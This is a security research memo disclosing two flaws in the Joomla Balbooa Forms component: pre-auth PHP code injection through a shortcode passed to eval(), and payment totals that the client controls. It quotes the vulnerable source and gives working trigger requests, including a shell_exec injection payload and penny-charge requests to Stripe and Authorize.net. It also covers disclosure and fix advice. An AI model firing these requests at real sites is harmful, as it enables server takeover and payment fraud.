MEMO #008 STATUS: PUBLISHED NOTEBOOK
SHORTCUT: [T] THEME / [ESC] BACK
ROOT / DISPATCHES / MEMO #008

Pay a Penny, Run Code: CVE-2026-67363 and CVE-2026-67364 in Balbooa Forms

[ABSTRACT & CORE THESIS]

While variant-hunting the pre-auth upload RCEs in Balbooa Forms, a line-by-line read of the shortcode engine and the payment tasks surfaced two separate flaws. The custom-PHP handler eval()s an unescaped query parameter behind a CSRF token that anyone can mint, and both payment endpoints charge the attacker-supplied total straight to Stripe and Authorize.net. This memo walks both code paths line by line, the MITM wire capture, and the disclosure to JSST.

1. Why I was reading Balbooa's PHP at all

I was not hunting this bug. I was hunting the pattern it belongs to. Two Joomla advisories from earlier in the year share one root-cause class: unauthenticated arbitrary file upload to webroot through the Joomla task dispatcher, with no extension validation. CVE-2026-48939 in iCagenda, and CVE-2026-56291 in Balbooa Forms, which the CISA KEV catalog lists as actively exploited in the wild. Both shipped public mass-exploit scripts. The pattern from my Gravitino work applied: a vendor patches one endpoint, and the same flawed logic survives on a sibling endpoint. The job was to acquire the latest Balbooa Forms build, diff it against the fixed versions of those two upload CVEs, and bypass or generalize.

Balbooa Forms (com_baforms) is a drag-and-drop form builder with a serious install base, and the free edition is what most sites run. The build I worked with, 2.4.3.1, was the latest release at the time. My lab is a Windows box with no admin rights and no WSL, so Docker was a dead end. The lab runs a portable XAMPP stack with Joomla 5.4.7 and com_baforms 2.4.3.1. One early discovery shaped everything: Balbooa's update feed is bot-walled (an sgcaptcha redirect), so downloading the older vulnerable archives to diff against was not an option. The installed package became the ground truth. I unpacked it, ran git init, and read it.

The attack surface is the Joomla task dispatcher. Frontend tasks live in site/src/Controller/FormController.php and route as index.php?option=com_baforms&task=form.X. A task is reachable pre-auth unless it checks a token or an ACL itself. The interesting tasks in this controller: message (the submission flow), uploadAttachmentFile, stripeCharges, payAuthorize, and getSessionToken. I started at the submission flow. That is where the previous two upload RCEs lived, and it feeds the shortcode engine, which I had not seen anyone look at closely.

2. The shortcode engine, line by line

THE ENGINE

BaformsHelper.php:132, renderDefaultValue(). Every handler string in the component passes through here before use. Three substitution passes: the built-in shortcode loop, the [URL parameter = X] pass, and the [SQL query = ...] pass.

The whole function is thirty lines, so I read all of them:

public static function renderDefaultValue($value, $slash = false)
{
    foreach (self::$shortCodes as $ind => $shortCode) {
        if ($slash) {
            $shortCode = addcslashes($shortCode, '\'');
        }
        $value = str_replace($ind, $shortCode, $value);
    }
    $value = preg_replace('/\[Field ID=\d+]/', '', $value);
    preg_match_all('/\[URL parameter = (.*?)]/', $value, $matches, PREG_SET_ORDER);
    if (!empty($matches)) {
        $input = Factory::getApplication()->input;
        foreach ($matches as $match) {
            $result = $input->get->get($match[1], '', 'string');
            $value = str_replace($match[0], $result, $value);
        }
    }
    preg_match_all('/\[SQL query = (.*?)]/', $value, $matches, PREG_SET_ORDER);
    if (!empty($matches)) {
        $db = Factory::getDbo();
        foreach ($matches as $match) {
            $query = $match[1];
            $db->setQuery($query);
            $result = $db->loadResult();
            $value = str_replace($match[0], $result, $value);
        }
    }

    return $value;
}
  • the built-in loop (lines 134-138): when the slash argument is true, addcslashes escapes only single quotes, then str_replace splices the value in. [Page URL] (line 125) is the request URI from the server environment, attacker-controlled, and it runs inside this loop
  • line 140: [Field ID=N] is stripped to empty, which kills field-value injection on 2.4.3.1
  • lines 141-148: the [URL parameter = X] pass reads the raw query parameter by name from the request input and splices it with no escaping at all
  • lines 149-159: [SQL query = ...] runs the inner text through the database object and splices the first result back

The detail that matters is the escaping. It exists, but it is per-loop and single-quote-only, and it is applied before the URL-parameter pass. The one pass an attacker controls has no escaping whatsoever. That asymmetry is the whole story of the first CVE.

3. Finding one: the eval that took my input

CVE-2026-67364. The form builder has a documented feature: a submit button can carry a custom-PHP handler, arbitrary code the admin writes, executed after submission. The code path is:

public function executePHP($code): void
{
    try {
        eval($code);
    } catch (\Exception $e) {

    }
}

FormModel.php:294-299, reached from sendMessage() at FormModel.php:523-526:

if (!empty($submit->options->php)) {
    $code = BaformsHelper::renderDefaultValue($submit->options->php, true);
    $this->executePHP($code);
}

The security boundary is supposed to be that only the admin writes the handler. The shortcode engine is the admin's way of referencing user input inside that code, and the URL-parameter pass splices raw attacker input straight into the string that reaches eval().

Then there is the token that is not authentication. The submission task is gated only by Joomla's CSRF check:

public function message()
{
    if (!Session::checkToken()) {
        throw new \Exception('Invalid token', 403);
    }

And the token is handed out to anyone:

public function getSessionToken(): never
{
    echo Session::getFormToken();
    exit();
}

FormController.php:255-260 and 244-248. checkToken() proves the request carries a session token, and Joomla mints those for anonymous visitors too. getSessionToken() prints one on demand. So the endpoint is pre-auth in every sense that matters.

The trigger is one request. A form whose submit button handler stores the [URL parameter = x] shortcode in a single-quoted string, the documented usage:

POST /index.php?option=com_baforms&task=form.message&x=';echo shell_exec('id');//
     form-id=1&submit-btn=7&ba-honeypot=&<TOKEN>=1

After substitution the eval sees:

$x = '';echo shell_exec('id');//';

The single quote closes the string, the semicolon ends the statement, the echo runs, and the trailing comment swallows the rest. Command output lands in the HTTP response. Lab run, 3/3 deterministic:

run1: token=50a8abb6.. message HTTP=200 shell HTTP=200 exec=YES
       -> SHELLuid=197609(moyoo) gid=197609 groups=197609
run2: ... exec=YES
run3: ... exec=YES

The default proof writes no files: shell_exec output echoed through the eval, zero persistence. The classic proof writes a webshell to images/shell.php and hits it.

Two dead ends worth recording. [Field ID=N] injection dies at line 140 on this build (the token is stripped before the URL-parameter pass), so field-value injection only matters on older builds. And [SQL query = ...] cannot be reached by an attacker, because the query text itself is admin-authored.

One detection variant matters for live hunting. [Page URL] substitutes the request URI from the server environment inside the built-in loop, which escapes only single quotes. A handler that uses the shortcode inside a double-quoted string breaks out with ";echo MARKER;// placed in the request path. No parameter-name guessing needed.

My working severity estimate was 8.8 given some precondition. The CNA assigned 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), and the record notes the same precondition plus the absence of reCAPTCHA on the submit button. Fair.

4. Finding two: the price tag I set myself

CVE-2026-67363. While the eval chain was being written up, two payment tasks were sitting in the same controller, unauthenticated, taking the money math from the request. Stripe first:

public function stripeCharges()
{
    $input = Factory::getApplication()->input;
    $id = $input->get('id', 0, 'int');
    $name = $input->get('name', 0, 'int');
    $str = $input->get('object', '', 'string');
    $object = json_decode($str);
    $model = $this->getModel('form');
    $model->stripeCharges($id, $name, $object);
}

FormController.php:281-289. No token, no ACL, and the entire order object is a JSON string from the request. Then the pricing logic, preparePaymentData() at FormModel.php:227-244:

$paymentData = new PaymentDataDTO(
    id: $id,
    userEmail: $userEmail,
    total: $object->total,
    ...
);

foreach ($object->products as $products) {
    foreach ($products as $product) {
        $total = $product->price * $product->quantity;
        $paymentData->products[] = new ProductDTO(
            title: $product->title,
            price: $product->price,
            quantity: $product->quantity,
            total: $total
        );
    }
}

Total, products, quantities, and shipping all come from the client JSON. Nothing is recomputed against the form's configured product table, and the form id that the controller reads is never used for pricing at all. The Stripe request builds the line item from that client total:

$price = BaformsHelper::renderPrice((string)$this->paymentData->total, '', '.', '2');
$line_item = [
    'price_data' => [
        'currency' => $this->paymentData->code,
        'product_data' => [
            'name' => implode(', ', $title),
        ],
        'unit_amount' => $price * 100,
    ],
    'quantity' => 1
];

FormModel.php:1524-1530, unit_amount = total times 100. Authorize.net is even more direct:

public function payAuthorize()
{
    $input = Factory::getApplication()->input;
    $total = $input->get('total', 0, 'double');
    ...
    $model->payAuthorize($id, $total, $cardNumber, $expirationDate, $cardCode);
}

FormController.php:292-305, and FormModel.php:1593 writes the client total straight into the transaction request amount, with transactionType authCaptureTransaction.

The trigger is a request, same as before:

GET /index.php?option=com_baforms&task=form.stripeCharges&id=<FORM>&name=<FIELD>
    &object={"total":"0.01","products":[[{"title":"x","price":"0.01","quantity":1}]]}

and the server POSTs to api.stripe.com with unit_amount=1. For Authorize.net:

POST /index.php?option=com_baforms&task=form.payAuthorize
     total=0.01&id=<FORM>&cardNumber=4111111111111111&expirationDate=12/27&cardCode=123

and the server sends authCaptureTransaction with amount=0.01.

Proving it on the wire took one neat accident. The Stripe path disables TLS peer verification (CURLOPT_SSL_VERIFYPEER=false), so a local MITM with a self-signed certificate accepts the connection and captures the real outgoing request. The captured checkout body shows line_items[][price_data][unit_amount]=1. That is the tampered amount reaching the gateway, on the wire, not inferred from code. Both endpoints ran 3/3 deterministic against sandbox keys in the lab. The honest caveat: each probe is a real charge attempt, so this was lab-only by design.

The scope is wider than two gateways. Mollie, Robokassa, PayU, Redsys, and Yookassa all derive their totals from the same preparePaymentData() client object. One root cause, six payment integrations. My severity estimate was 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N, financial integrity); NVD lists the record without a vector so far.

5. The third finding that didn't get a number

The same incomplete-fix audit surfaced a third issue: saveSignature() writes base64-decoded attacker bytes to images/baforms/signatures/form-<id>/<ts>-<rand>.jpg with no content validation at all. The CVE-2026-65880 fix hardened the filename (server-randomized, 128-bit CSPRNG) and the extension (hardcoded .jpg). It never validated the written content, so an unauthenticated attacker can still persist arbitrary bytes, including a full PHP script, under the webroot.

I reported it as an incomplete fix. JSST pushed on exactly the right question: can the attacker discover the filename? No. The name is unguessable, the extension is server-side, the HTTP response does not echo the path, and Joomla ships directory listing off by default. The escalation paths that remain (reply-to-submitter email templates that embed the image URL, hosts that execute .jpg as PHP) are config-dependent. I conceded the severity, and it stayed a report note rather than a CVE. The calibration was correct. An honest limitation beats an inflated claim, and the exchange made the two real CVEs stronger.

6. Disclosure, credits, and what a real fix looks like

The vendor was notified first (support@balbooa.com, 2026-08-13). The CVE request went to the Joomla Security Strike Team (security@joomla.org), the ecosystem CNA that assigned the earlier BaForms records. Both were published 2026-08-19 and credited to Akinlabi Omoogun, fixed in 2.4.3.2.

https://www.cve.org/CVERecord?id=CVE-2026-67363 https://www.cve.org/CVERecord?id=CVE-2026-67364

The exposure context matters for severity framing. Passive fingerprinting verified 11 live installs by checking that pages actually load the component's asset paths, plus a PublicWWW scale stat. CISA KEV already lists CVE-2026-56291 as exploited in the wild. This is not a lab-only component.

What a real fix looks like, from my reports:

  • recompute the total server-side from the form's authoritative product configuration, bind the charge to a stored order record, and verify at charge time. Never accept total, products, or shipping from the client
  • remove eval() or stop interpolating user data into the code string. Shortcodes should substitute values, not text: var_export, or pass user data as variables, or a sandboxed DSL
  • put real authentication on message() and the payment tasks. A CSRF token is not an authentication control, and this one is disclosed by the component itself

One honesty note: I have not line-diffed 2.4.3.2 yet, because i have other sufferings i am currently going through. Every claim in this memo stops at the 2.4.3.1 tree I verified line by line.

7. The reusable lessons

  • shortcode substitution is an eval-input boundary. Any feature that interpolates user data into a code string is a code injection waiting for a quote
  • a CSRF token is not authentication. When an anonymous endpoint discloses the token, the check it guards is decoration
  • payment data from the client is scanner-blind. Amounts, quantities, and shipping belong server-side, because gateways do not recompute
  • the incomplete-fix pattern keeps paying. Diff the assignments, not just the guards. The CVE-2026-65880 fix changed what filename landed on disk and left the content write unvalidated
  • read the whole function. The eval bug was visible in a thirty-line helper, and the payment bug in two controller stubs and one DTO constructor

Both records are public, the PoCs shipped with the disclosure, and the component's user base has had a patch since 2.4.3.2. If you run Balbooa Forms, that is the version to be on.

CITE THIS RESEARCH DISPATCH
@article{lulz2026_balbooa-fo,
  author    = {LulzTigre Research},
  title     = {Pay a Penny, Run Code: CVE-2026-67363 and CVE-2026-67364 in Balbooa Forms},
  journal   = {LulzTigre Research Dispatches},
  year      = {2026},
  url       = {https://lulztigre.pw/posts/balbooa-forms-penny-rce-67363-67364.html}
}